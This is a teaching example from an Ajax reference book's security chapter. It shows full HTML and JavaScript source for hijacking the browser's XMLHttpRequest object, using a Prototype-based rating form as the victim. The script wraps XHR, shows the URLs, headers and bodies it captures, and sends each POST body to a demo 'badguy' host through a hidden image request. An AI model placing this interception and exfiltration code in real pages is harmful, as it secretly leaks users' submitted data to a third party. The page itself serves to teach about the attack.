Skip to content

banner ajax
The Complete Reference: Ajax

Examples: XHR Hijack - Full using Prototype

Home Examples Chapter 7 XHR Hijack - Full using Prototype
zip Download
This Example

Hijacking XHRs with JavaScript

Scenario

In this example we modify our hijack approach to make a copy of the XHR object and then overwrite the entire object with a new locally created object that acts just like the original XHR by accessing the save methods but has our "snooping" code in place as well. We alert out the values you picked as well as the response but we also send it to our "hacker" site badguy.ajaxref.com using an image transport. Go look for yourself link.

The purpose of this example is to show that it is not a library specific issue, you are overriding the XHR deep enough the library in play is irrelevant.

Important Firebug Users - You must disable Firebug for this to work!

How do you feel about Ajax Security?

Who cares... - [ 1 2 3 4 5 ] - Scared out of my mind

 
view plainprint
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Chapter 7 : Security - Prototype Hijack </title>
<link rel="stylesheet" href="http://ajaxref.com/ch7/global.css" type="text/css" media="screen" />
<script src="http://ajaxref.com/lib/prototype/prototype.js" type="text/javascript">
</script>
<script type="text/javascript">
 
 
function rate(form)
{
    var options = {
        method: "post",
        parameters: $("ratingForm").serialize(true)
    };
    
    new Ajax.Updater("responseOutput", "http://ajaxref.com/ch3/setrating.php", options);
}
 
window.onload = function () 
{ 
 var radios = document.getElementsByName('rating');
 for (var i = 0; i < radios.length; i++)
  {
   radios[i].onclick = function (){rate(this.form);}; 
  }
  
};
 
 
var xmlreqc=XMLHttpRequest;
XMLHttpRequest = function() {
    this.xhr = new xmlreqc();
    return this;
};
 
XMLHttpRequest.prototype.open = function (method, url, async, user, password)
{
    alert(url);
    return this.xhr.open(method, url, async, user, password); //send it on
};
 
XMLHttpRequest.prototype.setRequestHeader = function(header, value)
{
    alert(header + ": " + value);
    this.xhr.setRequestHeader(header, value);
    
};
 
XMLHttpRequest.prototype.send = function(postBody)
{
    alert(postBody);
    
    var image = document.createElement("img");
    image.style.width = "1px";
    image.style.height = "1px";
    image.style.visibility = "hidden";
    document.body.appendChild(image);
    image.src = "http://badguy.ajaxref.com/ch7/savehijack.php?data=" + postBody;
    
    var myXHR = this;
    
    this.xhr.onreadystatechange = function(){myXHR.onreadystatechangefunction();};
    this.xhr.send(postBody);
};
 
XMLHttpRequest.prototype.onreadystatechangefunction = function()
{
    if (this.xhr.readyState == 4)
           alert(this.xhr.responseText);
        
    try{
        this.readyState = this.xhr.readyState;
        this.responseText = this.xhr.responseText;
        this.responseXML = this.xhr.responseXML;
        this.status = this.xhr.status;
        this.statusText = this.xhr.statusText;
    }
    catch(e){}
    
    this.onreadystatechange();
    
};
</script>
 
</head>
<body>
 
<div class="content">
<h1>Hijacking XHRs with JavaScript</h1>
 
<div id="scenarios" class="content">
    <h3>Scenario</h3>
    <p>In this example we modify our hijack approach to make a copy of the XHR object and then
    overwrite the entire object with a new locally created object that acts just like the 
    original XHR by accessing the save methods but has our "snooping" code in place as well. We
    alert out the values you picked as well as the response but we also send it to our "hacker" site badguy.ajaxref.com
    using an image transport.  Go look for yourself <a href="http://badguy.ajaxref.com/ch7/hijack.txt" target="_blank">link</a>.<br /><br />
The purpose of this example is to show that it is not a library specific issue, you are overriding the XHR deep enough the library in play is irrelevant.   
    </p>
    <p>
     <strong>Important Firebug Users - You must disable Firebug for this to work!</strong>
    </p>
</div>    
</div>
 
<div class="content">
<h3>How do you feel about Ajax Security?</h3>
<form action="#" method="get" name="ratingForm" id="ratingForm">
<em>Who cares... - </em> [
<input type="radio" name="rating" value="1" /> 1
<input type="radio" name="rating" value="2" /> 2
<input type="radio" name="rating" value="3" /> 3
<input type="radio" name="rating" value="4" /> 4
<input type="radio" name="rating" value="5" /> 5
] <em> - Scared out of my mind</em>
</form>
<br />
<div id="responseOutput">&nbsp;</div>
</div>
 
</body>
</html>
McGraw Hill: Osborne This Site Sponsored by PINT Report a bug